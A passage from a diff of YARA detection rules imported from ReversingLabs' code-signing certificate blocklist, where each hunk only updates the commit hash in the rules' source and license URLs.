-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10014-L10030"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10014-L10030"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "24bee3563e0867ef6702e7f57bbce7075f766410650ae5ce1e2e8c7b14a3eaca"
 		score = 75
 		quality = 90
@@ -14831,8 +14884,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F007898Afcba5F8Af8Ae65D01803617 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10032-L10048"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10032-L10048"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "27610bb3bf069991803611474abf44a3bf82fc9283d0412a1c24ae46a3f5352e"
 		score = 75
 		quality = 90
@@ -14856,8 +14909,8 @@ rule REVERSINGLABS_Cert_Blocklist_E55Be88Ddbd93C423220468D430905Dd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10050-L10068"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10050-L10068"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "05b2f297454e7080591b85991b224193eb89fc5074eb3c2e484ceadad2de4cb7"
 		score = 75
 		quality = 90
@@ -14881,8 +14934,8 @@ rule REVERSINGLABS_Cert_Blocklist_06Bcb74291D96096577Bdb1E165Dce85 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10070-L10086"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10070-L10086"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "00b7ff8f3cbc04c48c71433c384d7a7884b856f261850e33ea4413a12cf5a1b5"
 		score = 75
 		quality = 90
@@ -14906,8 +14959,8 @@ rule REVERSINGLABS_Cert_Blocklist_C8442A8185082Ef1Ed7Dc3Fff2176Aa7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10088-L10106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10088-L10106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "74b1b48f0179187ea7bb8ef4663bf13da47f5c6405ecc5589706184564c05727"
 		score = 75
 		quality = 90
@@ -14931,8 +14984,8 @@ rule REVERSINGLABS_Cert_Blocklist_0406C4A1521A38C8D0C4Aa214388E4Dc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10108-L10124"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10108-L10124"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f6780751ae553771eb57201a8672847a24512e6279b6a4fd843d8ee2f326860a"
 		score = 75
 		quality = 90
@@ -14956,8 +15009,8 @@ rule REVERSINGLABS_Cert_Blocklist_12705Fb66Bc22C68372A1C4E5Fa662E2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10126-L10142"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10126-L10142"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f10316a26e2d34400b7c2e403eab18ab6c1cc94b35f0ac8a3f490d101d29dc8d"
 		score = 75
 		quality = 90
@@ -14981,8 +15034,8 @@ rule REVERSINGLABS_Cert_Blocklist_3B0914E2982Be8980Aa23F49848555E5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10144-L10160"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10144-L10160"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ea7d9fa7817751fef775765b54be5dd4d00c15ca50ac10fb40fb46cc3634c7b0"
 		score = 75
 		quality = 90
@@ -15006,8 +15059,8 @@ rule REVERSINGLABS_Cert_Blocklist_029Bf7E1Cb09Fe277564Bd27C267De5A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10162-L10178"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10162-L10178"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3f64372d11d61c669580d90cdf2201e7f2904fb3d73d27be2ff1559c9c37614a"
 		score = 75
 		quality = 90
@@ -15031,8 +15084,8 @@ rule REVERSINGLABS_Cert_Blocklist_D3Aee8Abb9948844A3Ac1C04Cc7E6Bdf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10180-L10198"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10180-L10198"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3f3f1d5c871d2b73627d4281ac5bcd08799fb47f94155e82795d97c87de35e40"
 		score = 75
 		quality = 90
@@ -15056,8 +15109,8 @@ rule REVERSINGLABS_Cert_Blocklist_734819463C1195Bd6E135Ce4D5Bf49Bc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10200-L10216"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10200-L10216"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a63c05cca23b61ba6eabda2b60c617b966a2669fd3a0da30354792e5c1ae2140"
 		score = 75
 		quality = 90
@@ -15081,8 +15134,8 @@ rule REVERSINGLABS_Cert_Blocklist_Db95B22362D46A73C39E0Ac924883C5B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10218-L10236"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10218-L10236"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "895983bcb7f3a0c5ce54504f4a2ff8d652137434b8951380d756de6556d0844e"
 		score = 75
 		quality = 90
@@ -15106,8 +15159,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C48732873Ac8Ccebaf8F0E1E8329Cec : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10238-L10254"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10238-L10254"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7c9476a4119e013c8bb3c14b607090d592feaa5f2fc0f78d810555681d4a3733"
 		score = 75
 		quality = 90
@@ -15131,8 +15184,8 @@ rule REVERSINGLABS_Cert_Blocklist_C51F4Cf4D82Bc920421E1Ad93E39D490 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10256-L10274"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10256-L10274"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cef717e7fe3eb0fb958d405caaf98fa51b22b150ccbf1286d3b4634e9df81ade"
 		score = 75
 		quality = 90
@@ -15156,8 +15209,8 @@ rule REVERSINGLABS_Cert_Blocklist_C96086F1894E6420D2B4Bdeea834C4D7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10276-L10294"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10276-L10294"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "949bbd41ad4c83a05c1f004786cd296e2af80a3a559955ec90a4675cdfa04258"
 		score = 75
 		quality = 90
@@ -15181,8 +15234,8 @@ rule REVERSINGLABS_Cert_Blocklist_06Fa27A121Cc82230C3013Ee634B6C62 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10296-L10312"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10296-L10312"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "23ac7a97e7632536ed27cf9078b6bc1a734f1e991a20a228734b45117582f367"
 		score = 75
 		quality = 90
@@ -15206,8 +15259,8 @@ rule REVERSINGLABS_Cert_Blocklist_9Dd3B2F7957Ba99F4B04Fcdbe03B7Aac : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10314-L10332"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10314-L10332"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d4f1b75dddd47fe8a19bd8e794b4930bdcaf54d63db57422db0a9b631d4f488d"
 		score = 75
 		quality = 90
@@ -15231,8 +15284,8 @@ rule REVERSINGLABS_Cert_Blocklist_061051Ff2A8Afab10347A6F1Ff08Ecb6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10334-L10350"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10334-L10350"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "db3ac3ee326c60e9abc94a2fb53d801637f044e7ab72d69e53958799e48747b7"
 		score = 75
 		quality = 90
@@ -15256,8 +15309,8 @@ rule REVERSINGLABS_Cert_Blocklist_Eda2429083Bfafb04E6E7Bdda1B08834 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10352-L10370"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10352-L10370"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4f7d5c6929fe364c8868fddb28dd7bbf7cdcf3896d57836466af1a538190d11c"
 		score = 75
 		quality = 90
@@ -15281,8 +15334,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A590154B5980E566314122987Dea548 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10372-L10388"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10372-L10388"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d5fdf2bc61fadf3e73bcf1695c48ebc465e614cdd2310f9e5f40648d9615afc4"
 		score = 75
 		quality = 90
@@ -15306,8 +15359,8 @@ rule REVERSINGLABS_Cert_Blocklist_69A72F5591Ad78A0825Fbb9402Ab9543 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10390-L10406"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10390-L10406"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "72ca07b7722f9506c5c42b5e58c5ce9b3a7d607164a5f265015769f2831cd588"
 		score = 75
 		quality = 90
@@ -15331,8 +15384,8 @@ rule REVERSINGLABS_Cert_Blocklist_0883Db137021B51F3A2A08A76A4Bc066 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10408-L10424"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10408-L10424"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5e3c8654169830790665992f5d7669d0ca6c1c8048580b3ae70331ad2a763a6c"
 		score = 75
 		quality = 90
@@ -15356,8 +15409,8 @@ rule REVERSINGLABS_Cert_Blocklist_2B921Aaaba777B5A99507196C6F1C46C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10426-L10442"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10426-L10442"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a00eb9837f7700d83862dff2077d85c68c24621d7aacf857b42587dc37976465"
 		score = 75
 		quality = 90
@@ -15381,8 +15434,8 @@ rule REVERSINGLABS_Cert_Blocklist_0332D5C942869Bdcabf5A8266197Cd14 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10444-L10460"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10444-L10460"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "726ac44dd8109fcd0a9120f6c0673b8ecf7d5b3a4bb81976f48402e21502201a"
 		score = 75
 		quality = 90
@@ -15406,8 +15459,8 @@ rule REVERSINGLABS_Cert_Blocklist_4679C5398A279318365Fd77A84445699 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10462-L10478"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10462-L10478"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bdb68be92b3ba6b5eaa6e8e963529c0b9213942ba2552c687496ad5d12d5b472"
 		score = 75
 		quality = 90
@@ -15431,8 +15484,8 @@ rule REVERSINGLABS_Cert_Blocklist_101D6A5A29D9A77807553Ceac669D853 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10480-L10496"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10480-L10496"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bce92750f71477ecfa7b8213724344708066c0e6133a47cd6758bbd9f8f9da5f"
 		score = 75
 		quality = 90
@@ -15456,8 +15509,8 @@ rule REVERSINGLABS_Cert_Blocklist_6000F8C02B0A15B1E53B8399845Faddf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10498-L10514"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10498-L10514"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "00ceb241555154cab97ef616042dbd966f3a8fae257e142dfe6bad9559bd1724"
 		score = 75
 		quality = 90
@@ -15481,8 +15534,8 @@ rule REVERSINGLABS_Cert_Blocklist_121070Be1E782F206985543Bc7Bc58B6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10516-L10532"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10516-L10532"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a5d603cf64c8a16fa12daf9c6b5d0850e6145fb39b38442ed724ec0f849b8be9"
 		score = 75
 		quality = 90
@@ -15506,8 +15559,8 @@ rule REVERSINGLABS_Cert_Blocklist_5226A724Cfa0B4Bc0164Ecda3F02A3Dc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10534-L10550"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10534-L10550"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ba1155b30761f48674aaa82a70a06fea30cced6518f089f3f9f173a4eb06a09"
 		score = 75
 		quality = 90
@@ -15531,8 +15584,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A7Be7722B65A866Ebcd3Bd7F8F10825 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10552-L10568"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10552-L10568"
